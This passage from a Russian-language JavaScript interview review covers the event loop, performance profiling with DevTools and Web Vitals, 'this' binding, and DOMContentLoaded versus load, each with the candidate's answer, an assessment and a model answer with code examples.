Call Stack: [M1] → []
Microtask Q: [μ3] → []
Macrotask Q: [M2] → [M2]
Output: "M1" → "μ3"

Итерация 3:
Call Stack: [M2] → []
Microtask Q: [] → []
Macrotask Q: [] → []
Output: "M2"

5. Специальные случаи

Бесконечный цикл микрозадач:

// ⚠️ Опасно: блокирует Event Loop
function infiniteMicrotask() {
Promise.resolve().then(infiniteMicrotask);
}

infiniteMicrotask();
// Макрозадачи никогда не выполнятся!
// setTimeout, I/O, UI - всё заблокировано

Starvation макрозадач:

// Макрозадачи могут "голодать" из-за микрозадач
setTimeout(() => {
console.log('Это выполнится очень поздно');
}, 0);

function generateMicrotasks() {
for (let i = 0; i < 1000; i++) {
Promise.resolve().then(() => {
console.log(`Microtask ${i}`);
});
}

// Рекурсивно генерируем ещё микрозадачи
Promise.resolve().then(generateMicrotasks);
}

generateMicrotasks();

6. Различия между средами

Браузер vs Node.js:

// Браузер
console.log('1');

setTimeout(() => {
console.log('2');
}, 0);

Promise.resolve().then(() => {
console.log('3');
});

queueMicrotask(() => {
console.log('4');
});

console.log('5');

// Вывод: 1, 5, 3, 4, 2

// Node.js
console.log('1');

setTimeout(() => {
console.log('2');
}, 0);

Promise.resolve().then(() => {
console.log('3');
});

process.nextTick(() => {
console.log('4');
});

console.log('5');

// Вывод: 1, 5, 4, 3, 2
// process.nextTick имеет приоритет над Promise

Node.js специфичные очереди:

┌─────────────────────────────────────────────────────────────┐
│ Node.js Event Loop │
├─────────────────────────────────────────────────────────────┤
│ 1. process.nextTick (высший приоритет) │
│ 2. Promise microtasks │
│ 3. Timers (setTimeout, setInterval) │
│ 4. I/O callbacks │
│ 5. setImmediate │
│ 6. Close callbacks │
└─────────────────────────────────────────────────────────────┘

7. Производительность и оптимизация

Измерение времени выполнения:

// Измерение времени микрозадач
console.time('microtasks');

for (let i = 0; i < 1000; i++) {
Promise.resolve().then(() => {
// Пустая микрозадача
});
}

// Ждём завершения всех микрозадач
Promise.resolve().then(() => {
console.timeEnd('microtasks');
});

// Измерение времени макрозадач
console.time('macrotasks');

for (let i = 0; i < 1000; i++) {
setTimeout(() => {
// Пустая макрозадача
}, 0);
}

// Макрозадачи выполняются последовательно
setTimeout(() => {
console.timeEnd('macrotasks');
}, 5000);

Оптимизация тяжёлых вычислений:

// ❌ Плохо: блокирует Event Loop
function processLargeData(data) {
const results = data.map(item => {
return heavyComputation(item); // Блокирует на 100мс
});
return results;
}

// ✅ Хорошо: разбиваем на микрозадачи
async function processLargeDataOptimized(data) {
const results = [];
const chunkSize = 100;

for (let i = 0; i < data.length; i += chunkSize) {
const chunk = data.slice(i, i + chunkSize);

// Обрабатываем чанк
const chunkResults = chunk.map(item => heavyComputation(item));
results.push(...chunkResults);

// Даём Event Loop возможность обработать другие задачи
await new Promise(resolve => setTimeout(resolve, 0));
}

return results;
}

8. Практические примеры

Пример 1: Приоритет обновления UI

// Обновление UI с приоритетом
function updateUI() {
// Синхронные обновления (критичные)
updateCriticalElements();

// Микрозадачи (важные, но не критичные)
Promise.resolve().then(() => {
updateImportantElements();
});

// Макрозадачи (фоновые обновления)
setTimeout(() => {
updateBackgroundElements();
}, 0);
}

Пример 2: Дебаунс с микрозадачами:

function debounceMicrotask(fn) {
let scheduled = false;

return function(...args) {
if (!scheduled) {
scheduled = true;

Promise.resolve().then(() => {
scheduled = false;
fn.apply(this, args);
});
}
};
}

// Использование
const debouncedUpdate = debounceMicrotask(() => {
console.log('Update triggered');
});

// Множественные вызовы в одном тике
debouncedUpdate();
debouncedUpdate();
debouncedUpdate();

// Выполнится только один раз

9. Отладка и профилирование

Инструменты отладки:

// Логирование с указанием типа задачи
function logWithTaskType(message, taskType) {
const timestamp = performance.now().toFixed(2);
console.log(`[${timestamp}ms] [${taskType}] ${message}`);
}

// Использование
logWithTaskType('Sync code', 'sync');

Promise.resolve().then(() => {
logWithTaskType('Promise callback', 'microtask');
});

setTimeout(() => {
logWithTaskType('Timeout callback', 'macrotask');
}, 0);

queueMicrotask(() => {
logWithTaskType('queueMicrotask', 'microtask');
});

Performance Observer:

// Мониторинг производительности задач
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.log(`Task: ${entry.name}`);
console.log(`Duration: ${entry.duration}ms`);
console.log(`Start: ${entry.startTime}ms`);
}
});

observer.observe({ entryTypes: ['measure', 'longtask'] });

// Измерение задач
performance.mark('task-start');

setTimeout(() => {
performance.mark('task-end');
performance.measure('macrotask', 'task-start', 'task-end');
}, 0);

10. Рекомендации по использованию

Когда использовать микрозадачи:

  • Нужно выполнить код сразу после синхронного кода
  • Важен порядок выполнения
  • Задача не требует отрисовки экрана
  • Нужна высокая производительность

Когда использовать макрозадачи:

  • Нужна отрисовка экрана между задачами
  • Задача может быть отложена
  • Нужно избежать блокировки Event Loop
  • Работа с таймерами и интервалами

Вывод: Event Loop в JavaScript обеспечивает неблокирующую асинхронную модель через разделение задач на микрозадачи и макрозадачи. Микрозадачи выполняются полностью после каждой макрозадачи, что обеспечивает предсказуемый порядок выполнения. Понимание этой модели

Вопрос 14. Как профилировать производительность веб-приложения в браузере и находить узкие места?

Таймкод: 01:09:55

Ответ собеседника: Неполный. Кандидат упомянул профайлер в DevTools, LightHouse для просмотра метрик (Content Paint, Time to Interactive), проверку сетевой вкладки для анализа медленных ресурсов, поиск квадратичной сложности в алгоритмах, ленивую загрузку картинок через атрибут loading='lazy'. Не упомянул: Performance tab, Web Vitals (LCP, FID, CLS), Coverage tab, Memory profiling, а также методы оптимизации типа code splitting, tree shaking, мемоизации.

Правильный ответ:

1. Chrome DevTools - основной инструмент

Performance Tab (Производительность):

Открытие: F12 → Performance → Record

Основные метрики:
- FPS (Frames Per Second) - частота кадров
- CPU загрузка
- Network активность
- Memory usage
- Rendering pipeline

Как использовать:

// 1. Запись производительности
// - Нажать кнопку Record
// - Выполнить действия на странице
// - Остановить запись

// 2. Анализ результатов
// - Main thread - основной поток JavaScript
// - Rendering - отрисовка
// - Painting - покраска
// - Loading - загрузка ресурсов

// 3. Поиск проблем
// - Длинные задачи (>50ms) - красные полосы
// - Layout thrashing - частые reflow
// - Memory leaks - растущая память

Performance API в коде:

// Измерение производительности в коде
performance.mark('start-operation');

// Тяжёлая операция
heavyComputation();

performance.mark('end-operation');
performance.measure('operation-duration', 'start-operation', 'end-operation');

// Получение результатов
const measures = performance.getEntriesByName('operation-duration');
console.log(`Duration: ${measures[0].duration}ms`);

2. Web Vitals - ключевые метрики

Core Web Vitals:

// Largest Contentful Paint (LCP) - < 2.5s
// First Input Delay (FID) - < 100ms
// Cumulative Layout Shift (CLS) - < 0.1

// Измерение через web-vitals библиотеку
import { getLCP, getFID, getCLS } from 'web-vitals';

getLCP(console.log);
getFID(console.log);
getCLS(console.log);

// Или через PerformanceObserver
const lcpObserver = new PerformanceObserver((list) => {
const entries = list.getEntries();
const lastEntry = entries[entries.length - 1];
console.log('LCP:', lastEntry.startTime);
});

lcpObserver.observe({ entryTypes: ['largest-contentful-paint'] });

Дополнительные метрики:

// Time to First Byte (TTFB)
// First Contentful Paint (FCP)
// Total Blocking Time (TBT)
// Time to Interactive (TTI)

// Измерение TTFB
const navigationTiming = performance.getEntriesByType('navigation')[0];
const ttfb = navigationTiming.responseStart - navigationTiming.requestStart;
console.log('TTFB:', ttfb, 'ms');

// Измерение FCP
const paintTiming = performance.getEntriesByType('paint');
const fcp = paintTiming.find(entry => entry.name === 'first-contentful-paint');
console.log('FCP:', fcp.startTime, 'ms');

3. Lighthouse - аудит производительности

Запуск Lighthouse:

1. DevTools → Lighthouse
2. Выбрать категории: Performance, Accessibility, Best Practices, SEO
3. Нажать "Analyze page load"

Ключевые рекомендации Lighthouse:

// 1. Устранить ресурсы, блокирующие рендеринг
// ❌ Плохо
<link rel="stylesheet" href="styles.css">
<script src="app.js"></script>

// ✅ Хорошо
<link rel="stylesheet" href="styles.css" media="print" onload="this.media='all'">
<script src="app.js" defer></script>

// 2. Сжать изображения
// Использовать WebP, AVIF форматы
<picture>
<source srcset="image.avif" type="image/avif">
<source srcset="image.webp" type="image/webp">
<img src="image.jpg" alt="Description">
</picture>

// 3. Минифицировать CSS/JS
// Webpack, Vite, esbuild для минификации

// 4. Использовать кэширование
// Service Worker для кэширования
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((response) => {
return response || fetch(event.request);
})
);
});

4. Network Tab - анализ загрузки

Фильтрация и анализ:

1. Фильтр по типу: JS, CSS, Img, Font, XHR
2. Сортировка по размеру или времени
3. Waterfall анализ - последовательность загрузки
4. Throttling - симуляция медленного соединения

Оптимизация загрузки:

// 1. Preload критических ресурсов
<link rel="preload" href="critical.css" as="style">
<link rel="preload" href="hero-image.jpg" as="image">
<link rel="preload" href="font.woff2" as="font" type="font/woff2" crossorigin>

// 2. Prefetch для следующих страниц
<link rel="prefetch" href="/next-page.html">

// 3. Preconnect к внешним доменам
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

// 4. Code splitting в React
const LazyComponent = React.lazy(() => import('./LazyComponent'));

function App() {
return (
<Suspense fallback={<div>Loading...</div>}>
<LazyComponent />
</Suspense>
);
}

5. Coverage Tab - неиспользуемый код

Анализ покрытия:

1. DevTools → Coverage (Ctrl+Shift+P → Show Coverage)
2. Нажать Record и использовать приложение
3. Посмотреть процент использования CSS и JS
4. Найти неиспользуемые правила и функции

Оптимизация на основе Coverage:

// Tree shaking - удаление неиспользуемого кода
// webpack.config.js
module.exports = {
mode: 'production',
optimization: {
usedExports: true,
minimize: true,
minimizer: [new TerserPlugin()]
}
};

// Динамические импорты для code splitting
async function loadModule() {
const module = await import('./heavyModule');
return module.default;
}

6. Memory Tab - утечки памяти

Типы снимков:

1. Heap Snapshot - снимок кучи
2. Allocation instrumentation - отслеживание аллокаций
3. Allocation sampling - выборка аллокаций

Поиск утечек:

// 1. Сделать снимок до операции
// 2. Выполнить операцию
// 3. Сделать снимок после операции
// 4. Сравнить снимки

// Пример утечки
class LeakyComponent {
constructor() {
this.data = new Array(10000).fill('data');
// Утечка: обработчик не удаляется
window.addEventListener('resize', this.handleResize);
}

handleResize = () => {
console.log(this.data.length);
}
}

// Исправление
class FixedComponent {
constructor() {
this.data = new Array(10000).fill('data');
this.handleResize = this.handleResize.bind(this);
window.addEventListener('resize', this.handleResize);
}

handleResize() {
console.log(this.data.length);
}

destroy() {
window.removeEventListener('resize', this.handleResize);
}
}

7. Rendering Tab - визуальные проблемы

Включение инструментов:

1. DevTools → Rendering (Ctrl+Shift+P → Show Rendering)
2. Включить:
- Paint flashing (мигание при перерисовке)
- Layer borders (границы слоёв)
- FPS meter (счётчик кадров)
- Scrolling performance issues

Оптимизация рендеринга:

// 1. Избегать forced synchronous layout
// ❌ Плохо - вызывает layout thrashing
elements.forEach(element => {
const height = element.offsetHeight; // Read
element.style.height = height + 10 + 'px'; // Write
});

// ✅ Хорошо - batch read/write
const heights = elements.map(el => el.offsetHeight); // Batch read
elements.forEach((el, i) => {
el.style.height = heights[i] + 10 + 'px'; // Batch write
});

// 2. Использовать transform вместо top/left
// ❌ Плохо - вызывает reflow
element.style.left = '100px';
element.style.top = '100px';

// ✅ Хорошо - использует compositor
element.style.transform = 'translate(100px, 100px)';

// 3. Использовать will-change для анимаций
.animated-element {
will-change: transform, opacity;
}

8. JavaScript Profiling

CPU Profiling:

// 1. DevTools → Performance → Record
// 2. Найти длинные задачи в Main thread
// 3. Кликнуть на задачу для детального анализа

// Оптимизация тяжёлых функций
// ❌ Плохо - O(n²) сложность
function findDuplicates(array) {
const duplicates = [];
for (let i = 0; i < array.length; i++) {
for (let j = i + 1; j < array.length; j++) {
if (array[i] === array[j] && !duplicates.includes(array[i])) {
duplicates.push(array[i]);
}
}
}
return duplicates;
}

// ✅ Хорошо - O(n) сложность
function findDuplicatesOptimized(array) {
const seen = new Set();
const duplicates = new Set();

for (const item of array) {
if (seen.has(item)) {
duplicates.add(item);
} else {
seen.add(item);
}
}

return Array.from(duplicates);
}

9. Мониторинг в продакшене

Real User Monitoring (RUM):

// Отправка метрик на сервер
function sendMetrics(metrics) {
navigator.sendBeacon('/analytics', JSON.stringify(metrics));
}

// Сбор метрик
const metrics = {
lcp: getLCP(),
fid: getFID(),
cls: getCLS(),
ttfb: getTTFB(),
fcp: getFCP(),
timestamp: Date.now(),
userAgent: navigator.userAgent,
url: window.location.href
};

sendMetrics(metrics);

Performance Observer для мониторинга:

// Мониторинг Long Tasks
const longTaskObserver = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.warn('Long task detected:', {
duration: entry.duration,
startTime: entry.startTime,
name: entry.name
});

// Отправить на сервер
sendMetrics({
type: 'long-task',
duration: entry.duration,
timestamp: Date.now()
});
}
});

longTaskObserver.observe({ entryTypes: ['longtask'] });

// Мониторинг Layout Shifts
const layoutShiftObserver = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (!entry.hadRecentInput) {
console.warn('Layout shift detected:', {
value: entry.value,
sources: entry.sources
});
}
}
});

layoutShiftObserver.observe({ entryTypes: ['layout-shift'] });

10. Оптимизация загрузки ресурсов

Ленивая загрузка:

// Изображения
<img src="placeholder.jpg"
data-src="actual-image.jpg"
loading="lazy"
alt="Description">

// Компоненты React
const LazyComponent = React.lazy(() => import('./LazyComponent'));

// Intersection Observer для кастомной ленивой загрузки
const imageObserver = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
img.classList.remove('lazy');
imageObserver.unobserve(img);
}
});
});

document.querySelectorAll('img.lazy').forEach(img => {
imageObserver.observe(img);
});

Оптимизация критического пути:

// 1. Инлайн критический CSS
<style>
/* Критические стили для первого экрана */
.header { /* ... */ }
.hero { /* ... */ }
</style>

<!-- Некритические CSS загружаются асинхронно -->
<link rel="preload" href="non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">

// 2. Отложенная загрузка JavaScript
<script src="analytics.js" defer></script>
<script src="chat-widget.js" async></script>

// 3. Предзагрузка для навигации
<a href="/next-page" onmouseover="prefetch(this.href)">Next Page</a>

<script>
function prefetch(url) {
const link = document.createElement('link');
link.rel = 'prefetch';
link.href = url;
document.head.appendChild(link);
}
</script>

Вывод: Профилирование производительности требует комплексного подхода: использование DevTools для анализа, Web Vitals для ключевых метрик, Lighthouse для аудита, и постоянный мониторинг в продакшене. Оптимизация должна фокусироваться на критических метриках (LCP, FID, CLS) и устранении узких мест в загрузке, рендеринге и выполнении JavaScript.

Вопрос 15. Что такое this в JavaScript, как он определяется и как можно закрепить контекст за функцией?

Таймкод: 01:10:39

Ответ собеседника: Правильный. this ссылается на ближайший контекст, в котором вызывается функция. В глобальной области — это window (в браузере). Внутри функции — объект функции. В классах this является ссылкой на созданный объект класса. Контекст можно подменить через bind, call, apply. Стрелочные функции работают иначе — они берут this из родительской функции, а не из собственного контекста вызова.

Правильный ответ:

1. Что такое this

Определение: this — это специальное ключевое слово, которое ссылается на контекст выполнения функции. Значение this определяется не местом объявления функции, а способом её вызова.

Основные правила:

// 1. Глобальный контекст
console.log(this); // window (браузер) или global (Node.js)

// 2. Контекст объекта
const obj = {
name: 'Object',
getName() {
return this.name; // this = obj
}
};
console.log(obj.getName()); // 'Object'

// 3. Контекст класса
class MyClass {
constructor() {
this.value = 42;
}

getValue() {
return this.value; // this = экземпляр класса
}
}

2. Правила определения this

Правило 1: Глобальный контекст

// В глобальной области видимости
console.log(this); // window (браузер) или globalThis (универсально)

// В strict mode
'use strict';
function showThis() {
console.log(this); // undefined (не window!)
}
showThis();

Правило 2: Контекст объекта

const user = {
name: 'John',

// Обычная функция - this определяется при вызове
getName() {
return this.name;
},

// Стрелочная функция - this берётся из внешнего контекста
getArrowName: () => {
return this.name; // undefined (this = window или undefined)
},

// Вложенные методы
nested: {
name: 'Nested',
getName() {
return this.name; // 'Nested'
}
}
};

console.log(user.getName()); // 'John'
console.log(user.nested.getName()); // 'Nested'

Правило 3: Явное связывание (call, apply, bind)

function getName() {
return this.name;
}

const user1 = { name: 'Alice' };
const user2 = { name: 'Bob' };

// call - вызов с явным контекстом и аргументами
console.log(getName.call(user1)); // 'Alice'
console.log(getName.call(user2)); // 'Bob'

// apply - аналогично call, но аргументы массивом
function getFullName(age, city) {
return `${this.name}, ${age} years old, from ${city}`;
}

console.log(getFullName.apply(user1, [25, 'New York'])); // 'Alice, 25 years old, from New York'

// bind - создание новой функции с привязанным контекстом
const getAliceName = getName.bind(user1);
console.log(getAliceName()); // 'Alice'

Правило 4: Конструктор (new)

function Person(name, age) {
// this = новый пустой объект {}
this.name = name;
this.age = age;
// return this (автоматически)
}

const person = new Person('John', 30);
console.log(person.name); // 'John'

// Стрелочные функции нельзя использовать как конструктор
const ArrowPerson = (name) => {
this.name = name; // Ошибка!
};
// new ArrowPerson('John'); // TypeError

Правило 5: Стрелочные функции

const obj = {
name: 'Object',

// Обычная функция
regularMethod() {
console.log('Regular:', this.name); // 'Object'

// Стрелочная функция внутри
const arrow = () => {
console.log('Arrow inside regular:', this.name); // 'Object'
};
arrow();

// Обычная функция внутри
function regular() {
console.log('Regular inside regular:', this.name); // undefined
}
regular();
},

// Стрелочная функция как метод
arrowMethod: () => {
console.log('Arrow method:', this.name); // undefined (this = window)
}
};

obj.regularMethod();
obj.arrowMethod();

3. Сравнение методов привязки контекста

call, apply, bind:

function introduce(greeting, punctuation) {
return `${greeting}, I'm ${this.name}${punctuation}`;
}

const person = { name: 'Alice' };

// call - немедленный вызов с аргументами
console.log(introduce.call(person, 'Hello', '!')); // "Hello, I'm Alice!"

// apply - немедленный вызов с массивом аргументов
console.log(introduce.apply(person, ['Hi', '.'])); // "Hi, I'm Alice."

// bind - создание новой функции с привязанным контекстом
const boundIntroduce = introduce.bind(person);
console.log(boundIntroduce('Hey', '?')); // "Hey, I'm Alice?"

// bind с частичным применением аргументов
const sayHelloTo = introduce.bind(person, 'Hello');
console.log(sayHelloTo('!!!')); // "Hello, I'm Alice!!!"

Различия:

Метод | Вызов | Аргументы | Возвращает
---------|----------------|---------------|------------------
call | Немедленный | По отдельности | Результат функции
apply | Немедленный | Массив | Результат функции
bind | Отложенный | По отдельности | Новая функция

4. Потеря контекста и решения

Проблема потери контекста:

const user = {
name: 'John',

getName() {
return this.name;
}
};

// Потеря контекста при присваивании
const getName = user.getName;
console.log(getName()); // undefined (this = window или undefined)

// Потеря контекста в колбэке
setTimeout(user.getName, 100); // undefined

// Потеря контекста в обработчике события
button.addEventListener('click', user.getName); // this = button

Решения:

const user = {
name: 'John',

getName() {
return this.name;
}
};

// 1. bind
const boundGetName = user.getName.bind(user);
console.log(boundGetName()); // 'John'

// 2. Стрелочная функция
setTimeout(() => user.getName(), 100); // 'John'

// 3. Замыкание (устаревший способ)
const self = user;
setTimeout(function() {
self.getName(); // 'John'
}, 100);

// 4. Wrapper function
button.addEventListener('click', function() {
user.getName(); // 'John'
});

5. Контекст в классах

Проблемы с this в классах:

class Counter {
constructor() {
this.count = 0;
}

// Проблема: потеря контекста
increment() {
this.count++;
}

// Решение 1: стрелочная функция
decrement = () => {
this.count--;
}

// Решение 2: bind в конструкторе
constructor() {
this.count = 0;
this.increment = this.increment.bind(this);
}
}

const counter = new Counter();

// Потеря контекста
const increment = counter.increment;
increment(); // TypeError: Cannot read property 'count' of undefined

// Стрелочная функция работает
const decrement = counter.decrement;
decrement(); // this.count = -1

6. Стрелочные функции vs обычные

Сравнение:

const obj = {
value: 42,

// Обычная функция
regularFunction() {
console.log('Regular:', this.value); // 42

// Можно изменить контекст
const self = this;
setTimeout(function() {
console.log('Timeout regular:', self.value); // 42
}, 100);
},

// Стрелочная функция
arrowFunction: () => {
console.log('Arrow:', this.value); // undefined (this = window)

// Берёт this из внешнего контекста
setTimeout(() => {
console.log('Timeout arrow:', this.value); // undefined
}, 100);
}
};

// Вызов методов
obj.regularFunction(); // Работает правильно
obj.arrowFunction(); // this не привязан к obj

Когда использовать:

class Component {
constructor() {
this.state = { count: 0 };

// ❌ Плохо: потеря контекста
this.handleClickBad = function() {
this.state.count++; // this будет кнопкой
};

// ✅ Хорошо: стрелочная функция
this.handleClickGood = () => {
this.state.count++; // this = Component
};

// ✅ Хорошо: bind в конструкторе
this.handleClickBind = this.handleClickMethod.bind(this);
}

handleClickMethod() {
this.state.count++; // this = Component после bind
}
}

7. Практические примеры

Пример 1: Event handlers

class Button {
constructor(element) {
this.element = element;
this.clickCount = 0;

// Решение 1: bind
this.handleClick = this.handleClick.bind(this);
this.element.addEventListener('click', this.handleClick);

// Решение 2: стрелочная функция
this.element.addEventListener('click', () => this.handleClick());
}

handleClick() {
this.clickCount++;
console.log(`Clicked ${this.clickCount} times`);
}

destroy() {
this.element.removeEventListener('click', this.handleClick);
}
}

Пример 2: Promise chains

class ApiClient {
constructor() {
this.baseUrl = 'https://api.example.com';
}

// Проблема: потеря this в then
getUserBroken(userId) {
return fetch(`${this.baseUrl}/users/${userId}`)
.then(function(response) {
return response.json();
})
.then(function(user) {
return this.processUser(user); // TypeError!
});
}

// Решение 1: стрелочные функции
getUserFixed(userId) {
return fetch(`${this.baseUrl}/users/${userId}`)
.then(response => response.json())
.then(user => this.processUser(user)); // Работает!
}

// Решение 2: сохранение this
getUserFixed2(userId) {
const self = this;
return fetch(`${this.baseUrl}/users/${userId}`)
.then(function(response) {
return response.json();
})
.then(function(user) {
return self.processUser(user);
});
}

processUser(user) {
return { ...user, processed: true };
}
}

Пример 3: Массивы и колбэки:

class NumberProcessor {
constructor() {
this.multiplier = 2;
}

// Проблема
processArrayBroken(numbers) {
return numbers.map(function(num) {
return num * this.multiplier; // TypeError!
});
}

// Решение 1: bind
processArrayBind(numbers) {
return numbers.map(function(num) {
return num * this.multiplier;
}.bind(this));
}

// Решение 2: стрелочная функция
processArrayArrow(numbers) {
return numbers.map(num => num * this.multiplier);
}

// Решение 3: дополнительный аргумент thisArg
processArrayThisArg(numbers) {
return numbers.map(function(num) {
return num * this.multiplier;
}, this);
}
}

const processor = new NumberProcessor();
const numbers = [1, 2, 3, 4, 5];

console.log(processor.processArrayArrow(numbers)); // [2, 4, 6, 8, 10]

8. Отладка this

Техники отладки:

// 1. Логирование this
function debugThis() {
console.log('this:', this);
console.trace('Call stack');
}

// 2. Проверка типа this
function checkThis() {
if (this === undefined) {
console.error('this is undefined - strict mode');
} else if (this === window || this === globalThis) {
console.warn('this is global object');
} else {
console.log('this is:', this.constructor?.name || typeof this);
}
}

// 3. Использование debugger
function debugContext() {
debugger; // Можно посмотреть this в DevTools
return this;
}

9. Современные паттерны

Class fields с стрелочными функциями:

class ModernComponent {
// Автоматическая привязка контекста
handleClick = () => {
console.log('this:', this); // Всегда экземпляр класса
}

handleInput = (event) => {
this.setState({ value: event.target.value });
}

// Приватные методы
#privateMethod = () => {
console.log('Private method with correct this');
}
}

React пример:

class ReactComponent extends React.Component {
constructor(props) {
super(props);
this.state = { count: 0 };

// Привязка в конструкторе
this.handleClick = this.handleClick.bind(this);
}

// Или стрелочная функция как поле класса
handleIncrement = () => {
this.setState(prevState => ({
count: prevState.count + 1
}));
}

handleClick() {
console.log('this:', this); // Экземпляр компонента
}

render() {
return (
<div>
<button onClick={this.handleClick}>Click</button>
<button onClick={this.handleIncrement}>Increment</button>
</div>
);
}
}

Вывод: this в JavaScript определяется способом вызова функции, а не местом её объявления. Для управления контекстом используются call, apply, bind или стрелочные функции. В современном JavaScript предпочтительны стрелочные функции как методы классов для автоматической привязки контекста, что делает код более предсказуемым и менее подверженным ошибкам.

Вопрос 16. Что такое DOMContentLoaded и когда он срабатывает? Чем отличается от load?

Таймкод: 01:16:10

Ответ собеседника: Правильный. DOMContentLoaded стреляет, когда загрузились все ресурсы — разметка, стили, скрипты (кроме асинхронных). Атрибут defer позволяет загружать скрипты асинхронно, сохраняя порядок загрузки. Кандидат предположил, что load стреляет, когда вообще всё загрузилось (включая изображения и другие ресурсы), что верно. Также упомянул атрибут async/defer для управления загрузкой скриптов.

Правильный ответ:

1. DOMContentLoaded - детальный разбор

Определение: DOMContentLoaded срабатывает, когда HTML-документ полностью загружен и разобран, включая все синхронные скрипты, но без ожидания загрузки стилей, изображений и других внешних ресурсов.

Временная шкала загрузки страницы:

1. Navigation Start

2. HTML Download

3. HTML Parsing (построение DOM)

4. CSS Download & Parsing (построение CSSOM)

5. JavaScript Download & Execution (синхронные скрипты)

6. DOMContentLoaded ← СОБЫТИЕ СРАБАТЫВАЕТ ЗДЕСЬ

7. Images, iframes, async scripts loading

8. Load Event ← СОБЫТИЕ СРАБАТЫВАЕТ ЗДЕСЬ

9. Window.onload

Пример использования:

// Срабатывает, когда DOM готов
document.addEventListener('DOMContentLoaded', function() {
console.log('DOM полностью загружен');

// Можно безопасно манипулировать DOM
const button = document.getElementById('myButton');
button.addEventListener('click', handleClick);

// Инициализация компонентов
initializeComponents();
});

// Срабатывает, когда всё загружено
window.addEventListener('load', function() {
console.log('Все ресурсы загружены');

// Можно работать с размерами изображений
const images = document.querySelectorAll('img');
images.forEach(img => {
console.log(`Image size: ${img.naturalWidth}x${img.naturalHeight}`);
});
});

2. Load Event - полная загрузка

Определение: load срабатывает, когда загружены ВСЕ ресурсы страницы: изображения, стили, скрипты, iframes, шрифты и другие внешние ресурсы.

Различия:

Событие | Когда срабатывает | Использование
---------------------|--------------------------------------|------------------
DOMContentLoaded | DOM построен, синхронные скрипты | Инициализация JS
| выполнены |
load | Все ресурсы загружены | Работа с размерами
| | изображений
readystatechange | Изменение состояния документа | Отладка загрузки
beforeunload | Перед закрытием страницы | Предупреждение
unload | При закрытии страницы | Очистка ресурсов

Пример с измерением времени:

// Измерение времени загрузки
const startTime = performance.now();

document.addEventListener('DOMContentLoaded', function() {
const domContentLoadedTime = performance.now() - startTime;
console.log(`DOMContentLoaded: ${domContentLoadedTime.toFixed(2)}ms`);
});

window.addEventListener('load', function() {
const loadTime = performance.now() - startTime;
console.log(`Load event: ${loadTime.toFixed(2)}ms`);
console.log(`Difference: ${(loadTime - domContentLoadedTime).toFixed(2)}ms`);
});

3. Влияние скриптов на загрузку

Синхронные скрипты:

<!-- Блокирует парсинг HTML до загрузки и выполнения -->
<script src="blocking.js"></script>

<!-- DOMContentLoaded ждёт этот скрипт -->
<script>
console.log('Этот скрипт выполнится до DOMContentLoaded');
</script>

Async скрипты:

<!-- Загружается асинхронно, выполняется сразу после загрузки -->
<!-- НЕ блокирует DOMContentLoaded -->
<script src="async.js" async></script>

<!-- Может выполниться до или после DOMContentLoaded -->
<!-- в зависимости от времени загрузки -->

Defer скрипты:

<!-- Загружается асинхронно, выполняется после парсинга HTML -->
<!-- НЕ блокирует DOMContentLoaded, выполняется до него -->
<script src="defer.js" defer></script>

<!-- Выполняется в порядке объявления -->
<script src="defer1.js" defer></script>
<script src="defer2.js" defer></script>

Сравнение поведения:

<!-- Пример страницы с разными типами скриптов -->
<!DOCTYPE html>
<html>
<head>
<title>Script Loading Demo</title>

<!-- Синхронный - блокирует парсинг -->
<script src="sync.js"></script>

<!-- Async - не блокирует, выполняется когда загрузится -->
<script src="async.js" async></script>

<!-- Defer - не блокирует, выполняется после парсинга -->
<script src="defer.js" defer></script>
</head>
<body>
<div id="content">Content</div>

<!-- Инлайн скрипт - блокирует парсинг -->
<script>
console.log('Inline script - blocks parsing');
</script>

<!-- Ещё один defer -->
<script src="defer2.js" defer></script>
</body>
</html>

Порядок выполнения:

1. sync.js (блокирует парсинг)
2. Inline script (блокирует парсинг)
3. defer.js (после парсинга, в порядке объявления)
4. defer2.js (после парсинга, в порядке объявления)
5. DOMContentLoaded
6. async.js (когда загрузится, может быть после DOMContentLoaded)

4. Практические примеры

Инициализация приложения:

// Правильный подход к инициализации
class App {
constructor() {
this.initialized = false;
this.init();
}

init() {
// Ждём готовности DOM
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', () => {
this.onDOMReady();
});
} else {
// DOM уже готов
this.onDOMReady();
}
}

onDOMReady() {
console.log('DOM готов, инициализируем приложение');

// Инициализация компонентов
this.initializeComponents();

// Привязка событий
this.bindEvents();

this.initialized = true;
}

initializeComponents() {
// Инициализация всех компонентов
const buttons = document.querySelectorAll('.btn');
buttons.forEach(btn => {
btn.addEventListener('click', this.handleButtonClick.bind(this));
});
}

bindEvents() {
// Глобальные обработчики событий
window.addEventListener('resize', this.handleResize.bind(this));
window.addEventListener('scroll', this.handleScroll.bind(this));
}

handleButtonClick(event) {
console.log('Button clicked:', event.target);
}

handleResize() {
console.log('Window resized');
}

handleScroll() {
console.log('Window scrolled');
}
}

// Запуск приложения
const app = new App();

Ленивая загрузка изображений:

// Инициализация ленивой загрузки после DOMContentLoaded
document.addEventListener('DOMContentLoaded', function() {
const lazyImages = document.querySelectorAll('img[data-src]');

if ('IntersectionObserver' in window) {
const imageObserver = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
img.classList.remove('lazy');
imageObserver.unobserve(img);
}
});
});

lazyImages.forEach(img => imageObserver.observe(img));
} else {
// Fallback для старых браузеров
lazyImages.forEach(img => {
img.src = img.dataset.src;
});
}
});

5. Мониторинг производительности

Измерение времени загрузки:

// Performance API для детального анализа
const perfData = performance.getEntriesByType('navigation')[0];

console.log('Performance metrics:');
console.log(`DNS lookup: ${perfData.domainLookupEnd - perfData.domainLookupStart}ms`);
console.log(`TCP connect: ${perfData.connectEnd - perfData.connectStart}ms`);
console.log(`Request: ${perfData.responseStart - perfData.requestStart}ms`);
console.log(`Response: ${perfData.responseEnd - perfData.responseStart}ms`);
console.log(`DOM parsing: ${perfData.domContentLoadedEventStart - perfData.responseEnd}ms`);
